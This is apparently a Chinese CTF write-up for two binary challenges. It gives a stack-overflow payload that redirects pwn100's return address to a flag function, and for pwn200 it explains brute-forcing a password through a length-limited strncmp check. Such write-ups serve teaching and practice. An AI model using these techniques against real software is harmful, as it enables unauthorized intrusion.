0x00 pwn100
保护措施:
1 2 3 4 5
| Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
pwn100为简单的栈溢出:
1 2 3 4 5 6 7 8 9
| int vuln() { char buf;
puts("Welcome to pwn world!\nLeave your name:"); fflush(stdout); read(0, &buf, 64u); return puts("bye~"); }
|
只要将vuln函数的返回地址覆盖掉即可,使其返回到flag函数中,同时还需要构造flag函数的参数:
1 2 3 4 5 6 7 8 9
| int __cdecl flag(int a1, int a2) { if ( a1 != 0xDEADBEEF ) CheckFailed(); command = "cat flag"; if ( a2 != 0xC0FFEE ) CheckFailed(); return system(command); }
|
payload构造如下:
1
| payload = 'A' * 44 + p32(flag_addr) + p32(0xdeadbeef) + p32(0xdeadbeef) + p32(0xc0ffee)
|
0x01 pwn200
保护措施
1 2 3 4 5
| Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
该程序先进行登录,再进行验证,验证通过后获得flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| signed int login() { signed int v1; int n; int v3;
v1 = 255; printf("Username: "); n = read_input_raw((int)bss_username, 16); printf("Password: "); v3 = read_input_raw((int)bss_password, 32); if ( !strncmp(bss_username, "root", n) && !strncmp(bss_password, "passwd_has_be_changed_in_remote_", v3) ) return 0; if ( !strncmp(bss_username, "lilac", n) && !strncmp(bss_password, "a_password_you_know_uh_huh_^_^@!", v3) ) v1 = 16; return v1; }
signed int check() { signed int v1;
v1 = 0; if ( !strncmp(bss_username, "root", 4u) ) { puts("Correct username!"); v1 = 1; } else { puts("Incorrect username!"); } if ( !strncmp(bss_password, "passwd_has_be_changed_in_remote_", 32u) ) { puts("Correct password!"); ++v1; } else { puts("Incorrect password!"); } return v1; }
|
可以看出,在login函数中,只对用户输入的长度的数据进行字符串比较;而在check函数中,则对整个0x20长的字符串进行比较。从这也可以看出实际的密码长度为0x20。因此此题进行32长度的字符串逐位爆破即可。